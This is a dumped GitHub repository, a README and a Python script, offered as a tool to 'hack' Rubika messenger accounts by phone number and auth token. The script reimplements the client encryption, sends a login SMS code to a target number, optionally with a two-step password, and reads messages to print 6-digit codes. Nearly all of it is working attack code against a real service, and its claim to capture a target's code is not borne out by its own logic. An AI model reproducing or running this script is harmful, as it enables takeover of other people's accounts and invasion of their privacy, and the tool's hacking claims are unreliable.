├── README.md └── hack-rubika.py /README.md: -------------------------------------------------------------------------------- 1 | 2 | # hack-rubika 3 | هک روبیکا با شماره تلفن و شناسه اکانت روبیکا 4 | 5 | -CHANEL RUBIKA : @GITHUB_ANONYMOUS 6 | 7 | - How To Run?: 8 | Open To Termux and enter codes: 9 | 10 | -1 apt update 11 | 12 | -2 apt upgrade 13 | 14 | -3 pkg install git 15 | 16 | -4 pkg install python 17 | 18 | -5 git clone https://github.com/Elyas-Hack/hack-rubika 19 | 20 | -6 cd hack-rubika 21 | 22 | -7 python hack-rubika.py 23 | 24 | And enter auth,phone number 25 | Bye bye my friend please join my rubika channel 26 | 27 | -------------------------------------------------------------------------------- /hack-rubika.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system('pip install urllib3') 3 | os.system('pip install requests') 4 | os.system('pip install json') 5 | os.system('pip install pycryptodome') 6 | os.system('pip install colorama') 7 | import base64,urllib3,time 8 | from requests import post 9 | 10 | from random import choice 11 | 12 | from json import loads, dumps 13 | from Crypto.Cipher import AES 14 | from string import digits, ascii_lowercase 15 | from Crypto.Util.Padding import pad,unpad 16 | from colorama import Fore 17 | 18 | 19 | 20 | print(Fore.LIGHTBLUE_EX+"CODED BY ELIAS HACK") 21 | time.sleep(1) 22 | os.system("clear") 23 | 24 | print(Fore.GREEN+"Telegram:@THe_hackr") 25 | time.sleep(2) 26 | os.system("clear") 27 | 28 | 29 | 30 | android: dict = lambda: {"eliashack" : "elias hack","app_version" : "2.9.8","platform" : "Android","package" : "ir.resaneh1.iptv","lang_code" : "en"} 31 | random_string: str = lambda size, choices=[*ascii_lowercase, *digits]: "".join([choice(choices) for _ in range(size)]) 32 | url: str = "https://messengerg2c47.iranlms.ir/" 33 | 34 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 35 | 36 | class encrypt: 37 | def __init__(self, auth): 38 | self.key = bytearray(self.secret(auth), "UTF-8") 39 | self.iv = bytearray.fromhex('00000000000000000000000000000000') 40 | 41 | def replaceCharAt(self, e, t, i): 42 | return e[0:t] + i + e[t + len(i):] 43 | 44 | def secret(self, e): 45 | t = e[0:8] 46 | i = e[8:16] 47 | n = e[16:24] + t + e[24:32] + i 48 | s = 0 49 | while s < len(n): 50 | e = n[s] 51 | if e >= '0' and e <= '9': 52 | t = chr((ord(e[0]) - ord('0') + 5) % 10 + ord('0')) 53 | n = self.replaceCharAt(n, s, t) 54 | else: 55 | t = chr((ord(e[0]) - ord('a') + 9) % 26 + ord('a')) 56 | n = self.replaceCharAt(n, s, t) 57 | s += 1 58 | return n 59 | 60 | def encrypt(self, text): 61 | raw = pad(text.encode('UTF-8'), AES.block_size) 62 | aes = AES.new(self.key, AES.MODE_CBC, self.iv) 63 | enc = aes.encrypt(raw) 64 | result = base64.b64encode(enc).decode('UTF-8') 65 | return result 66 | 67 | def decrypt(self, text): 68 | aes = AES.new(self.key, AES.MODE_CBC, self.iv) 69 | dec = aes.decrypt(base64.urlsafe_b64decode(text.encode('UTF-8'))) 70 | result = unpad(dec, AES.block_size).decode('UTF-8') 71 | return result 72 | 73 | def SendSMS(phone_number: str, password: str) -> dict: 74 | tmp = random_string(32) 75 | enc = encrypt(tmp) 76 | data = {"phone_number":f"98{phone_number[1:]}","send_type":"Internal"} 77 | if password != None: data["pass_key"] = password 78 | return loads(enc.decrypt(post(url=url, json={"api_version":"5","tmp_session": tmp,"data_enc": enc.encrypt(dumps({"method":"sendCode","input":data,"client": android()}))}).json().get("data_enc"))) 79 | 80 | def GetMsg(auth: str) -> dict: 81 | enc = encrypt(auth) 82 | data = {"api_version":"5","auth": auth,"data_enc":enc.encrypt(dumps({"method":"getMessagesInterval","input":{"object_guid":"s0B0e8da28a4fde394257f518e64e800","middle_message_id":"0"},"client": android()}))} 83 | while True: 84 | try: 85 | return loads(enc.decrypt(post(url=url, json=data).json().get("data_enc"))).get("data").get("messages") 86 | break 87 | except: ... 88 | do_marhale1 = input('aya targer do marhale dard y/n: ') 89 | none = None 90 | if do_marhale1 == 'n': 91 | passw = none 92 | elif do_marhale1 == 'y': 93 | e = input('enter do marhale:') 94 | passw = e 95 | 96 | 97 | auth_key = input(Fore.GREEN+"enter auth:") 98 | phone = input(Fore.CYAN+"enter phone:") 99 | 100 | 101 | 102 | while True: 103 | try: 104 | print(Fore.GREEN+""" github: https://github.com/Elyas-Hack (: \n\n please dont edit source /: 105 | chanell rubika: @github_anonymous""") 106 | print(SendSMS(phone_number=phone, password=passw)) 107 | break 108 | except: ... 109 | 110 | time.sleep(2) 111 | 112 | messages = GetMsg(auth=auth_key) 113 | 114 | for msg in messages: 115 | if len(msg["text"]) == 6: 116 | print("code ==>>> ",msg["text"]) --------------------------------------------------------------------------------